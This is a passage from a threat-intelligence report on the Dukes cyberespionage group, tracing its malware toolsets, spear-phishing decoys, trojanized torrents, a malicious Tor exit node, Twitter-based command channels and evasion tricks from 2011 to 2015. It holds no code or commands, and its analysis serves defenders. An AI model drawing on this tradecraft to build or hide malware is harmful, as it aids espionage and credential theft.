employed both hacked websites and purposely rented servers for their CC infrastructure, the group rarely registered their own domain names, preferring instead to connect to their self- operated servers via IP addresses. The beginning of 2011 however saw a significant break from that routine, when a large grouping of domain names was registered by the Dukes in two batches the first batch was registered on the 29th of January and the second on the 13th of February. All the domains in both batches were initially registered with the same alias: John Kasai of Klagenfurt, Austria (image 2, above). These domains were used by the Dukes in campaigns involving many of their different malware toolsets all the way until 2014. Like the MiniDuke loader, these John Kasai domains also provide a common thread tying together much of the tools and infrastructure of the Dukes. 2011: Continuing expansion of the Dukes arsenal By 2011, the Dukes had already developed at least 3 distinct malware toolsets, including a plethora of supporting components such as loaders and persistence modules. In fact, as a sign of their arsenals breadth, they had already decided to retire one of these malware toolsets as obsolete after developing a replacement for it, seemingly from scratch. The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets: MiniDuke and CozyDuke. While all of the earlier toolsets GeminiDuke, PinchDuke, and CosmicDuke were designed around a core infostealer component, MiniDuke is centered on a simplistic backdoor component whose purpose is to enable the remote execution of commands on the compromised system. The first observed samples of the MiniDuke backdoor component are from May 2011. This backdoor component however is technically very closely related to GeminiDuke, to the extent that we believe them to share parts of their source code. The origins of MiniDuke can thus be traced back to the origins of GeminiDuke, of which the earliest observed sample was compiled in January of 2009. Unlike the simplistic MiniDuke toolset, CozyDuke is a highly versatile, modular, malware platform whose functionality lies not in a single core component but in an array of modules that it may be instructed to download from its CC server. These modules are used to selectively provide CozyDuke with just the functionality deemed necessary for the mission at hand. CozyDukes modular platform approach is a clear break from the designs of the previous Duke toolsets. The stylistic differences between CozyDuke and its older siblings are further exemplified by the way it was coded. All of the 4 previously mentioned toolsets were written in a minimalistic style commonly seen with malware MiniDuke even goes as far as having many components written in Assembly language. CozyDuke however represents the complete opposite. Instead of being written in Assembly or C, it was written in C , which provides added layers of abstraction for the developers perusal, at the cost of added complexity. Contrary to what might be expected from malware, early CozyDuke versions also lacked any attempt at obfuscating or hiding their true nature. In fact, they were extremely open and verbose about their functionality - for example, early samples contained a plethora of logging messages in unencrypted form. In comparison, even the earliest known GeminiDuke samples encrypted any strings that might have given away the malwares true nature. Finally, early CozyDuke versions also featured other elements that one would associate more with a traditional software development project than with malware. For instance, the earliest known CozyDuke version utilized a feature of the Microsoft Visual C compiler known as run-time error checking. This feature added automatic error checking to critical parts of the programs execution at the cost, from a malware perspective, of providing additional hints that make the malwares functionality easier for reverse engineers to understand. IMAGE 2: COMPARING WHOIS REGISTRATION DETAILS Left - Original whois registration details for natureinhome.com, one of the Duke CC server domains registered on the 29th of January, 2011 to John Kasai Right - Details for the domain were later changed, providing a small glimpse of the Dukes sense of humor 8 THE DUKES Over 7 years of Russian cyberespionage Based on these and other similar stylistic differences observed between CozyDuke and its older siblings, we speculate that while the older Duke families appear to be the work of someone with a background in malware writing (or at the least in hacking), CozyDukes author or authors more likely came from a software development background.
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2012: Hiding in the shadows We still know surprisingly few specifics about the Dukes groups activities during 2012.
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2012: Hiding in the shadows We still know surprisingly few specifics about the Dukes groups activities during 2012. Based on samples of Duke malware from 2012, the Dukes do appear to have continued actively using and developing all of their tools. Of these, CosmicDuke and MiniDuke appear to have been in more active use, while receiving only minor updates. GeminiDuke and CozyDuke on the other hand appear to have been less used in actual operations, but did undergo much more significant development. 2013: MiniDuke flies too close to the sun On the 12th of February 2013, FireEye published a blogpost[6] alerting readers to a combination of new Adobe Reader 0-day vulnerabilities, CVE-2013-0640 and CVE-2013-0641, that were being actively exploited in the wild. 8 days after FireEyes initial alert, Kaspersky spotted the same exploit being used to spread an entirely different malware family from the one mentioned in the original report. On 27th February, Kaspersky [7] and CrySyS[8] Lab published research on this previously unidentified malware family, dubbing it MiniDuke. As we now know, by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years. Their malware had not stayed undetected for those 4 and a half years. In fact, in 2009 a PinchDuke sample had been included in the malware set used by the AV-Test security product testing organization to perform anti-virus product comparison reviews. Until 2013 however, earlier Duke toolsets had not been put in a proper context. That finally started to change in 2013. The MiniDuke samples that were spread using these exploits were compiled on the 20th of February, after the exploit was already publicly known. One might argue that since this took place after the exploits were publicly mentioned, the Dukes simply copied them. We however do not believe so. As mentioned by Kaspersky, even though the exploits used for these MiniDuke campaigns were near-identical to those described by FireEye, there were nevertheless small differences. Of these, the crucial one is the presence of PDB strings in the MiniDuke exploits. These strings, which are generated by the compiler when using specific compilation settings, means that the components of the exploits used with MiniDuke had to have been compiled independently from those described by FireEye. We do not know whether the Dukes compiled the components themselves or whether someone else compiled the components before handing them to the group. This does however still rule out the possibility that the Dukes simply obtained copies of the exploit binaries described by FireEye and repurposed them. In our opinion, this insistence on using exploits that are already under heightened scrutiny suggests the existence of at least one of three circumstances. Firstly, the Dukes may have been confident enough in their own abilities (and in the slowness of their opponents to react to new threats) that they did not care if their targets may already be on the lookout for anyone exploiting these vulnerabilities. Secondly, the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed. Or thirdly, the Dukes may have invested so much into these campaigns that by the time FireEye published their alert, the Dukes felt they could not afford to halt the campaigns. We believe all three circumstances to have coexisted at least to some extent. As will become evident in this report, this was not a one-off case but a recurring theme with the Dukes, in that they would rather continue with their operations as planned than retreat from operating under the spotlight. IMAGE 3: MINIDUKE DECOY One of the Ukraine-themed decoy documents used during a MiniDuke campaign in February 2013 Over 7 years of Russian cyberespionage THE DUKES 9 As originally detailed in Kasperskys whitepaper, the MiniDuke campaigns from February 2013 employed spear-phishing emails with malicious PDF file attachments. These PDFs would attempt to silently infect the recipient with MiniDuke, while distracting them by displaying a decoy document. The headings of these documents included Ukraines NATO Membership Action Plan (MAP) Debates, The Informal Asia-Europe Meeting (ASEM) Seminar on Human Rights, and Ukraines Search for a Regional Foreign Policy (image 3, page 8). The targets of these campaigns, according to Kaspersky, were located variously in Belgium, Hungary, Luxembourg and Spain [7]. Kaspersky goes on to state that by obtaining log files from the MiniDuke command and control servers, they were able to identify high-profile victims from Ukraine, Belgium, Portugal, Romania, the Czech Republic, Ireland, the United States and Hungary [7]. 2013: The curious case of OnionDuke After the February campaigns, MiniDuke activity appeared to quiet down, although it did not fully stop, for the rest of 2013. The Dukes group as a whole however showed no sign of slowing down. In fact, we saw yet another Duke malware toolset, OnionDuke, appear first in 2013. Like CozyDuke, OnionDuke appears to have been designed with versatility in mind, and takes a similarly modular platform approach. The OnionDuke toolset includes various modules for purposes such as password stealing, information gathering, denial of service (DoS) attacks, and even posting spam to the Russian social media network, VKontakte. The OnionDuke toolset also includes a dropper, an information stealer variant and multiple distinct versions of the core component that is responsible for interacting with the various modules. What makes OnionDuke especially curious is an infection vector it began using during the summer of 2013. To spread the toolset, the Dukes used a wrapper to combine OnionDuke with legitimate applications, created torrent files containing these trojanized applications, then uploaded them to websites hosting torrent files (image 4, above). Victims who used the torrent files to download the applications would end up getting infected with OnionDuke. For most of the OnionDuke components we observed, the first versions that we are aware of were compiled during the summer of 2013, suggesting that this was a period of active development around this toolset. Critically however, the first sample of the OnionDuke dropper, which we have observed being used only with components of this toolset, was compiled on the 17th of February 2013. This is significant because it suggests that OnionDuke was under development before any part of the Duke operation became public. OnionDukes development therefore could not have been simply a response to the outing of one of the other Duke malware, but was instead intended for use alongside the other toolsets. This indication that the Dukes planned to use an arsenal of 5 malware toolsets in parallel suggests that they were operating with both significant resources and capacity. 2013: The Dukes and Ukraine In 2013, many of the decoy documents employed by the Dukes in their campaigns were related to Ukraine examples include a letter undersigned by the First Deputy Minister for Foreign Affairs of Ukraine, a letter from the embassy of the Netherlands in Ukraine to the Ukrainian Ministry of Foreign affairs and a document titled Ukraines Search for a Regional Foreign Policy. [ 9] These decoy documents however were written before the start of the November 2013 Euromaidan protests in Ukraine and the subsequent upheaval. It is therefore important to note that, contrary to what might be assumed, we have actually observed a drop instead of an increase in Ukraine-related campaigns from the Dukes following the countrys political crisis. This is in stark contrast to some other suspected Russian threat actors (such as Operation Pawn Storm [10]) who appear to have increased their targeting of Ukraine following the crisis. This supports our analysis that the overarching theme in the Dukes targeting is the collection of intelligence to support diplomatic efforts. The Dukes actively targeted Ukraine before the crisis, at a time when Russia was still weighing her options, but once Russia moved from diplomacy to direct action, Ukraine was no longer relevant to the Dukes in the same way. IMAGE 4: ONIONDUKE-TROJANIZED TORRENT FILE Example of a torrent file containing an executable trojanized with the OnionDuke toolset 10 THE DUKES Over 7 years of Russian cyberespionage 2013: CosmicDukes war on drugs In a surprising turn of events, in September 2013 a CosmicDuke campaign was observed targeting Russian speakers involved in the trade of illegal and controlled substances (image 5, above). Kaspersky Labs, who sometimes refer to CosmicDuke as Bot Gen Studio, speculated that one possibility is that Bot Gen Studio is a malware platform also available as a so-called legal spyware tool therefore, those using CosmicDuke to target drug dealers and those targeting governments are two separate entities [11]. We however feel it is unlikely that the CosmicDuke operators targeting drug dealers and those targeting governments could be two entirely independent entities. A shared supplier of malware would explain the overlap in tools, but it would not explain the significant overlap we have also observed in operational techniques related to command and control infrastructure. Instead, we feel the targeting of drug dealers was a new task for a subset of the Dukes group, possibly due to the drug trades relevance to security policy issues. We also believe the tasking to have been temporary, because we have not observed any further similar targeting from the Dukes after the spring of 2014. 2014: MiniDukes rise from the ashes While MiniDuke activity decreased significantly during the rest of 2013 following the attention it garnered from researchers, the beginning of 2014 saw the toolset back in full force. All MiniDuke components, from the loader and downloader to the backdoor, had been slightly updated and modified during the downtime. Interestingly, the nature of these modifications suggests that their primary purpose was to regain the element of stealth and undetectability that had been lost almost a year earlier. Of these modifications, arguably the most important were the ones done to the loader. These resulted in a loader version that would later become known as the Nemesis Gemina loader due to PDB strings found in many of the samples. It is however still only an iteration on earlier versions of the MiniDuke loader. The first observed samples of the Nemesis Gemina loader (compiled on 14th December 2013) were used to load the updated MiniDuke backdoor, but by the spring of 2014 the Nemesis Gemina loader was also observed in use with CosmicDuke. 2014: CosmicDukes moment of fame and the scramble that ensued Following the MiniDuke expose, CosmicDuke in turn got its moment of fame when F-Secure published a whitepaper about it on 2nd July 2014 [5]. The next day, Kaspersky also published their own research on the malware [11]. It should be noted that until this point, even though CosmicDuke had been in active use for over 4 years, and had undergone minor modifications and updates during that time, even the most recent CosmicDuke samples would often embed persistence components that date back to 2012. These samples would also contain artefacts of functionality from the earliest CosmicDuke samples from 2010. It is therefore valuable to observe how the Dukes reacted to CosmicDukes outing at the beginning of July. By the end of that month, CosmicDuke samples we found that had been compiled on the 30th of July had shed unused parts of their code that had essentially just been relics of the past. Similarly, some of the hardcoded values that had remained unaltered in CosmicDuke samples for many years had been changed. We believe these edits were an attempt at evading detection by modifying or removing parts of the toolset that the authors believed might be helpful in identifying and detecting it. Concurrently with the alterations to CosmicDuke, the Dukes were also hard at work modifying their trusted loader. Much like the CosmicDuke toolset, the loader used by both MiniDuke and CosmicDuke had previously only undergone one major update (the Nemesis Gemina upgrade) since the first known samples from 2010. Again, much of the modification work focused on removing redundant code in an attempt to appear different from earlier versions of the loader. Interestingly however, another apparent evasion trick was also attempted - forging of the loaders compilation timestamps. IMAGE 5: COSMICDUKE DECOY Screenshot of a decoy document appearing to be an order for growth hormones, which was used in a CosmicDuke campaign in September 2013 Over 7 years of Russian cyberespionage THE DUKES 11 The first CosmicDuke sample we observed after the initial research on CosmicDuke was a sample compiled on the 30th of July 2014. The loader used by the sample purported to have been compiled on the 25th of March 2010. Due to artefacts left in the loader during compilation time however, we know that it used a specific version of the Boost library, 1.54.0, that was only published on the 1st of July 2013 [12]. The compilation timestamp therefore had to have been faked. F-Secures whitepaper[5] on CosmicDuke includes a timeline of the loaders usage, based on compilation timestamps. Perhaps the Dukes group thought that by faking a timestamp from before the earliest one cited in the whitepaper, they might be able to confuse researchers. During the rest of 2014 and the spring of 2015, the Dukes continued making similar evasion-focused modifications to CosmicDuke, as well as experimenting with ways to obfuscate the loader. In the latter case however, the group appear to have also simultaneously developed an entirely new loader, which we first observed being used in conjunction with CosmicDuke during the spring of 2015. While it is not surprising that the Dukes reacted to multiple companies publishing extensive reports on one of their key toolsets, it is valuable to note the manner in which they responded. Much like the MiniDuke expose in February 2013, the Dukes again appeared to prioritize continuing operations over staying hidden. They could have ceased all use of CosmicDuke (at least until they had developed a new loader) or retired it entirely, since they still had other toolsets available. Instead, they opted for minimal downtime and attempted to continue operations, with only minor modifications to the toolset. 2014: CozyDuke and monkey videos While we now know that CozyDuke had been under development since at least the end of 2011, it was not until the early days of July 2014 that the first large-scale CozyDuke campaign that we are aware of took place. This campaign, like later CozyDuke campaigns, began with spear-phishing emails that tried to impersonate commonly seen spam emails. These spear-phishing emails would contain links that eventually lead the victim to becoming infected with CozyDuke. Some of the CozyDuke spear-phishing emails from early July posed as e-fax arrival notifications, a popular theme for spam emails, and used the same US letter fax test page decoy document that was used a year later by CloudDuke. In at least one case however, the email instead contained a link to a zip-archive file named Office Monkeys LOL Video.zip, which was hosted on the DropBox cloud storage service. What made this particular case interesting was that instead of the usual dull PDF file, the decoy was a Flash video file, more specifically a Super Bowl advertisement from 2007 purporting to show monkeys at an office (image 6, above). 2014: OnionDuke gets caught using a malicious Tor node On the 23rd of October 2014, Leviathan Security Group published a blog post describing a malicious Tor exit node they had found. They noted that this node appeared to be maliciously modifying any executables that were downloaded through it over a HTTP connection. Executing the modified applications obtained this way would result in the victim being infected with unidentified malware. On the 14th of November, F-Secure published a blog post naming the malware OnionDuke and associating it with MiniDuke and CosmicDuke, the other Duke toolsets known at the time [13]. Based on our investigations into OnionDuke, we believe that for about 7 months, from April 2014 to when Leviathan published their blog post in October 2014, the Tor exit node identified by the researchers was being used to wrap executables on-the-fly with OnionDuke (image 7, page 13). This is similar to the way in which the toolset was being spread via trojanized applications in torrent files during the summer of 2013. While investigating the OnionDuke variant being spread by the malicious Tor node, we also identified another OnionDuke variant that appeared to have successfully compromised multiple victims in the ministry of foreign affairs of an Eastern European country during the spring of 2014. This variant differed significantly in functionality from the one being spread via the Tor node, further suggesting that different OnionDuke variants are intended for different kinds of victims. IMAGE 6: COZYDUKE DECOYS Left - US letter fax test decoy used in CozyDuke campaigns Right - Screenshot of the monkey video decoy also used by CozyDuke 12 THE DUKES Over 7 years of Russian cyberespionage We believe that, unusually, the purpose of the OnionDuke variant spread via the Tor node was not to pursue targeted attacks but instead to form a small botnet for later use. This OnionDuke variant is related to the one seen during the summer of 2013 being spread via torrent files. Both of these infection vectors are highly indiscriminate and untargeted when compared to spear-phishing, the usual infection vector of choice for the Dukes. Further, the functionality of the OnionDuke variant is derived from a number of modules. While one of these modules gathers system information and another attempts to steal the victims usernames and passwords, as one would expect from a malware used for a targeted attack, the other two known OnionDuke modules are quite the opposite one is designed for use in DoS attacks and the other for posting predetermined messages to the Russian VKontakte social media site. This sort of functionality is more common in criminality-oriented botnets, not state-sponsored targeted attacks. We have since been able to identify at least two separate OnionDuke botnets. We believe the formation of the first of these botnets began in January 2014, using both unidentified infection vectors and the known malicious Tor node, and continued until our blogpost was published in November. We believe the formation of the second botnet began in August 2014 and continued until January 2015. We have been unable to identify the infection vectors used for this second botnet, but the CC servers it used had open directory listings, allowing us to retrieve files containing listings of victim IP addresses. The geographic distribution of these IP addresses (image 8, page 13) further supports our theory that the purpose of this OnionDuke variant was not targeted attacks against high-profile targets. One theory is that the botnets were a criminal side business for the Dukes group. The size of the botnet however (about 1400 bots) is very small if its intended use is for commercial DoS attacks or spam-sending. Alternatively, OnionDuke also steals user credentials from its victims, providing another potential revenue source. The counter to that argument however is that the value of stolen credentials from users in the countries with the highest percentage of OnionDuke bots (Mongolia and India) are among the lowest on underground markets. 2015: The Dukes up the ante The end of January 2015 saw the start of the most high- volume Duke campaign seen thus far, with thousands of recipients being sent spear-phishing emails that contained links to compromised websites hosting CozyDuke. Curiously, the spear-phishing emails were strikingly similar to the e-fax themed spam usually seen spreading ransomware and other common crimeware. Due to the sheer number of recipients, it may not have been possible to customize the emails in the same way as was possible with lower-volume campaigns. The similarity to common spam may however also serve a more devious purpose. It is easy to imagine a security analyst, burdened by the amount of attacks against their network, dismissing such common-looking spam as just another crimeware spam run, allowing the campaign to, in essence, hide in the masses [14]. The CozyDuke activity continues one of the long-running trends of the Dukes operations, the use of multiple malware toolsets against a single target. In this case, the Dukes first attempted to infect large numbers of potential targets with CozyDuke (and in a more obvious manner than previously seen). They would then use the toolset to gather initial information on the victims, before deciding which ones to pursue further. For the victims deemed interesting enough, the Dukes would then deploy a different toolset. We believe the primary purpose of this tactic is an attempt at evading detection in the targeted network. Even if the noisy initial CozyDuke campaign is noticed by the victim organization, or by someone else who then makes it publicly known, defenders will begin by first looking for indicators of compromise (IOCs) related to the CozyDuke toolset. If however by that time the Dukes are already operating within the victims network, using an another toolset with different IOCs, then it is reasonable to assume that it will take much longer for the victim organization to notice the infiltration. In previous cases, the group used their malware toolsets interchangeably, as either the initial or a later-stage toolset in a campaign. For these CozyDuke campaigns however, the Dukes appear to have employed two particular later-stage toolsets, SeaDuke and HammerDuke, that were purposely designed to leave a persistent backdoor on the compromised network. HammerDuke is a set of backdoors that was first seen in the wild in February 2015, while SeaDuke is a cross- platform backdoor that was, according to Symantec, first spotted in the wild in October 2014 [15]. Both toolsets were originally spotted being deployed by CozyDuke to its victims. What makes SeaDuke special is that it was written in Python and designed to work on both Windows and Linux systems it is the first cross-platform tool we have seen from the Dukes. One plausible reason for developing such a flexible malware might be that the group were increasingly encountering victim environments where users were using Linux as their desktop operating system. Meanwhile, HammerDuke is a Windows-only malware (written in .NET) and comes in two variants. The simpler one will connect to a hardcoded CC server over HTTP or HTTPS to download commands to execute. The more advanced variant, on the other hand, will use an algorithm to generate a periodically-changing Twitter account name and will then attempt to find tweets from that 457417192321 Over 7 years of Russian cyberespionage THE DUKES 13 457417192321 284 21 MONGOLIA 326 23INDIA 260 19 OTHER 235 17 UNKNOWN 100 7 PAKISTAN 64 5 ALGERIA 58 4 MOROCCO 62 4 EGYPT, 43 TURKEY, 38 USA, 39 INDONESIA, 34 SAUDI ARABIA, 25 BRAZIL, 22 PHILIPPINES, 16 SRI LANKA, 15 BANGLADESH, 14 NEPAL, 13 CAMBODIA, 13 CHINA, 12 3 EACH 2 EACH 1 EACH IMAGE 8: GEOGRAPHICAL DISTRIBUTION OF ONIONDUKE BOTNET TOTAL: 1389 ONIONDUKE DROPPER ONIONDUKE CORE COMPONENT ONIONDUKE DROPPER ONIONDUKE CORE COMPONENT ONIONDUKE CORE COMPONENT Drops Drops Drops Original binary Original binary Original binary Executes MALICIOUS TOR EXIT NODE VICTIM Request ResponseWrapped binary IMAGE 7: FLOWCHART OF HOW ONIONDUKE USES MALICIOUS TOR NODE TO INFECT VICTIMS THE DUKES Over 7 years of Russian cyberespionage 14 account containing links to the actual download location of the commands to execute. In this way, the advanced HammerDuke variant attempts to hide its network traffic in more legitimate use of Twitter. This method is not unique to HammerDuke, as MiniDuke, OnionDuke, and CozyDuke all support similar use of Twitter (image 9, above) to retrieve links to additional payloads or commands. 2015: CloudDuke In the beginning of July 2015, the Dukes embarked on yet another large-scale phishing campaign. The malware toolset used for this campaign was the previously unseen CloudDuke and we believe that the July campaign marks the first time that this toolset was deployed by the Dukes, other than possible small-scale testing. The CloudDuke toolset consists of at least a loader, a downloader, and two backdoor variants. Both backdoors (internally referred to by their authors as BastionSolution and OneDriveSolution) essentially allow the operator to remotely execute commands on the compromised machine. The way in which each backdoor does so however is significantly different. While the BastionSolution variant simply retrieves commands from a hard-coded CC server controlled by the Dukes, the OneDriveSolution utilizes Microsofts OneDrive cloud storage service for communicating with its masters, making it significantly harder for defenders to notice the traffic and block the communication channel. What is most significant about the July 2015 CloudDuke campaign is the timeline. The campaign appeared to consist of two distinct waves of spear-phishing, one during the first days of July and the other starting from the 20th of the month. Details of the first wave, including a thorough technical analysis of CloudDuke, was published by Palo Alto Networks on 14th July [16]. This was followed by additional details from Kaspersky in a blog post published on 16th July [17]. Both publications happened before the second wave took place and received notable publicity. Despite the attention and public exposure of the toolsets technical details (including IOCs) to defenders, the Dukes still continued with their second wave of spear-phishing, including the continued use of CloudDuke. The group did change the contents of the spear-phishing emails they sent, but they didnt switch to a new email format instead, they reverted to the same efax-themed format that they had previously employed, even to the point of reusing the exact same decoy document that they had used in the CozyDuke campaign a year earlier (July 2014). This once more highlights two crucial behavioral elements of the Dukes group. Firstly, as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014, again the group clearly prioritized the continuation of their operations over maintaining stealth. Secondly, it underlines their boldness, arrogance and self-confidence they are clearly confident in both their ability to compromise their targets even when their tools and techniques are already publicly known, and critically, they appear to be extremely confident in their ability to act with impunity. 2015: Continuing surgical strikes with CosmicDuke In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke, the Dukes also continued to engage in more covert, surgical campaigns using CosmicDuke. The latest of these campaigns that we are aware of occurred during the spring and early summer of 2015. As their infection vectors, these campaigns used malicious documents exploiting recently fixed vulnerabilities. Two of these campaigns were detailed in separate blog posts by the Polish security company Prevenity, who said that both campaigns targeted Polish entities with spear- phishing emails containing malicious attachments with relevant Polish language names [18] [19]. A third, similar, CosmicDuke campaign was observed presumably targeting Georgian entities since it used an attachment with a Georgian-language name that translates to NATO consolidates control of the Black Sea.docx. Based on this, we do not believe that the Dukes are replacing their covert and targeted campaigns with the overt and opportunistic CozyDuke and CloudDuke style of campaigns. Instead, we believe that they are simply expanding their activities by adding new tools and techniques. IMAGE 9: ONIONDUKE CC TWEET Screenshot of a tweet intended for OnionDuke, with a link pointing to an image file that embeds an updated version of OnionDuke Over 7 years of Russian cyberespionage THE DUKES 15 2008 2009 2010 2011 2012 2013 2014 2015 PinchDuke GeminiDuke CosmicDuke MiniDuke Loader Backdoor CozyDuke OnionDuke SeaDuke HammerDuke CloudDuke IMAGE 10: TIMELINE OF KNOWN ACTIVITY FOR THE VARIOUS DUKE TOOLKITS 2007 TOOLKITS YEAR First known activity Most recent known activity LEGEND 16 THE DUKES Over 7 years of Russian cyberespionage As a curiosity, most PinchDuke samples contain a Russian language error message: 4 Which roughly translates to: There is an error in the modules name The length of the data section name must be 4 bytes First known activity: November 2008 Most recent known activity: Summer 2010 Other names: N/A CC communication methods: HTTP (S) Known toolset components: Multiple loaders Information stealer The PinchDuke toolset consists of multiple loaders and a core information stealer trojan. The loaders associated with the PinchDuke toolset have also been observed being used with CosmicDuke. The PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a CC server. We believe PinchDukes credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums. Credentials targeted by PinchDuke include ones associated with the following software or services: The Bat Yahoo Mail.ru Passport. Net Google Talk Netscape Navigator Mozilla Firefox Mozilla Thunderbird Internet Explorer Microsoft Outlook WinInet Credential Cache Lightweight Directory Access Protocol (LDAP) PinchDuke will also search for files that have been created within a predefined timeframe and whose file extension is present in a predefined list. TOOLS AND TECHNIQUES OF THE DUKES PINCHDUKE 17 Over 7 years of Russian cyberespionage THE DUKES First known activity: January 2009 Most recent known activity: December 2012 Other names: N/A CC communication methods: HTTP (S) Known toolset components: Loader Information stealer Multiple persistence components The GeminiDuke toolset consists of a core information stealer, a loader and multiple persistence-related components. Unlike CosmicDuke and PinchDuke, GeminiDuke primarily collects information on the victim computers configuration. The collected details include: Local user accounts Network settings Internet proxy settings Installed drivers Running processes Programs previously executed by users Programs and services configured to automatically run at startup Values of environment variables Files and folders present in any users home folder Files and folders present in any users My Documents Programs installed to the Program Files folder Recently accessed files, folders and programs As is common for malware, the GeminiDuke infostealer uses a mutex to ensure that only one instance of itself is running at a time. What is less common is that the name used for the mutex is often a timestamp. We believe these timestamps to be generated during the compilation of GeminiDuke from the local time of the computer being used. Comparing the GeminiDuke compilation timestamps, which always reference the time in the UTC0 timezone, with the local time timestamps used as mutex names, and adjusting for the presumed timezone difference, we note that all of the mutex names reference a time and date that is within seconds of the respective samples compilation timestamp. Additionally, the apparent timezone of the timestamps in all of the GeminiDuke samples compiled during the winter is UTC3, while for samples compiled during the summer, it is UTC4. The observed timezones correspond to the pre-2011 definition of Moscow Standard Time (MSK) [20], which was UTC3 during the winter and UTC4 during the summer. In 2011 MSK stopped following Daylight Saving Time (DST) and was set to UTC4 year-round, then reset to UTC 3 year-round in 2014. Some of the observed GeminiDuke samples that used timestamps as mutex names were compiled while MSK still respected DST and for these samples, the timestamps perfectly align with MSK as it was defined at the time. However, GeminiDuke samples compiled after MSK was altered still vary the timezone between UTC3 in the winter and UTC4 during the summer. While computers using Microsoft Windows automatically adjust for DST, changes in timezone definitions require that an update to Windows be installed. We therefore believe that the Dukes group simply failed to update the computer they were using to compile GeminiDuke samples, so that the timestamps seen in later samples still appear to follow the old definition of Moscow Standard Time. The GeminiDuke infostealer has occasionally been wrapped with a loader that appears to be unique to GeminiDuke and has never been observed being used with any of the other Duke toolsets. GeminiDuke also occasionally embeds additional executables that attempt to achieve persistence on the victim computer. These persistence components appear to be uniquely customized for use with GeminiDuke, but they use many of the same techniques as CosmicDuke persistence components. Map of timezones in Russia Eric Muller [23] Pink: MSK (UTC 3) Orange: UTC 4 Moscow GEMINIDUKE 18 THE DUKES Over 7 years of Russian cyberespionage First known activity: January 2010 Most recent known activity: Summer 2015 Other names: Tinybaron, BotgenStudios, NemesisGemina CC communication methods: HTTP (S), FTP, WebDav Known toolset components: Information stealer Multiple loaders Privilege escalation component Multiple persistence components The CosmicDuke toolset is designed around a main information stealer component. This information stealer is augmented by a variety of components that the toolset operators may selectively include with the main component to provide additional functionalities, such as multiple methods of establishing persistence, as well as modules that attempt to exploit privilege escalation vulnerabilities in order to execute CosmicDuke with higher privileges. CosmicDukes information stealing functionality includes: Keylogging Taking screenshots Stealing clipboard contents Stealing user files with file extensions that match a predefined list Exporting the users cryptographic certificates including private keys Collecting user credentials, including passwords, for a variety of popular chat and email programs as well as from web browsers CosmicDuke may use HTTP, HTTPS, FTP or WebDav to exfiltrate the collected data to a hardcoded CC server. While we believe CosmicDuke to be an entirely custom- written toolset with no direct sharing of code with other Duke toolsets, the high-level ways in which many of its features have been implemented appear to be shared with other members of the Duke arsenal. Specifically, the techniques CosmicDuke uses to extract user credentials from targeted software and to detect the presence of analysis tools appear to be based on the techniques used by PinchDuke. Likewise, many of CosmicDukes persistence components use techniques also used by components associated with GeminiDuke and CozyDuke. In all of these cases, the techniques are the same, but the code itself has been altered to work with the toolset in question, leading to small differences in the final implementation. A few of the CosmicDuke samples we discovered also included components that attempt to exploit either of the publicly known CVE-2010-0232 or CVE-2010- 4398 privilege escalation vulnerabilities. In the case of CVE-2010-0232, the exploit appears to be based directly on the proof of concept code published by security researcher Tavis Ormandy when he disclosed the vulnerability [4]. We believe that the exploit for CVE- 2010-4398 was also based on a publicly available proof of concept [21]. In addition to often embedding persistence or privilege escalation components, CosmicDuke has occasionally embedded PinchDuke, GeminiDuke, or MiniDuke components. It should be noted that CosmicDuke does not interoperate with the second, embedded malware in any way other than by writing the malware to disk and executing it. After that, CosmicDuke and the second malware operate entirely independently of each other, including separately contacting their CC servers. Sometimes, both malware have used the same CC server, but in other cases, even the servers have been different. Finally, it is worth noting that while most of the compilation timestamps for CosmicDuke samples appear to be authentic, we are aware of a few cases of them being forged. One such case was detailed on page 10 as an apparent evasion attempt. Another is a loader variant seen during the spring of 2010 in conjunction with both CosmicDuke and PinchDuke. These loader samples all had compilation timestamps purporting to be from the 24th or the 25th of September, 2001. However, many of these loader samples embed CosmicDuke variants that exploit the CVE-2010- 0232 privilege escalation vulnerability thus making it impossible for the compilation timestamps to be authentic. Further reading 1. Timo Hirvonen F-Secure Labs CosmicDuke: Cosmu with a Twist of MiniDuke published 2 July 2014 https://www.f-secure.com/ documents/996508/1030745/cosmicduke_ whitepaper.pdf 2. GReAT Securelist Miniduke is back: Nemesis Gemina and the Botgen Studio published 3 July 2014 https://securelist.com/blog/ incidents/64107/miniduke-is-back-nemesis- gemina-and-the-botgen-studio/ COSMICDUKE https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ https://securelist.com/blog/incidents/64107/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/ 19 Over 7 years of Russian cyberespionage THE DUKES First known activity: Loader July 2010 Backdoor May 2011 Most recent known activity: Loader Spring 2015 Backdoor Summer 2014 Other names: N/A CC communication methods: HTTP (S), Twitter Known toolset components: Downloader Backdoor Loader The MiniDuke toolset consists of multiple downloader and backdoor components, which are commonly referred to as the MiniDuke stage 1, stage 2, and stage 3 components as per Kasperskys original MiniDuke whitepaper. Additionally, a specific loader is often associated with the MiniDuke toolset and is referred to as the MiniDuke loader. While the loader has often been used together with other MiniDuke components, it has also commonly been used in conjunction with CosmicDuke and PinchDuke. In fact, the oldest samples of the loader that we have found were used with PinchDuke. To avoid confusion however, we have decided to continue referring to the loader as the MiniDuke loader. Two details about MiniDuke components are worth noting. Firstly, some of the MiniDuke components were written in Assembly language. While many malware were written in Assembly during the old days of curiosity-driven virus writing, it has since become a rarity. Secondly, some of the MiniDuke components do not contain a hardcoded CC server address, but instead obtain the address of a current CC server via Twitter. The use of Twitter either to initially obtain the address of a CC server (or as a backup if no hardcoded primary CC server responds) is a feature also found in OnionDuke, CozyDuke, and HammerDuke. Further reading 1. Costin Raiu, Igor Soumenkov, Kurt Baumgartner, Vitaly Kamluk Kaspersky Lab The MiniDuke Mystery: PDF 0-day Government Spy Assembler 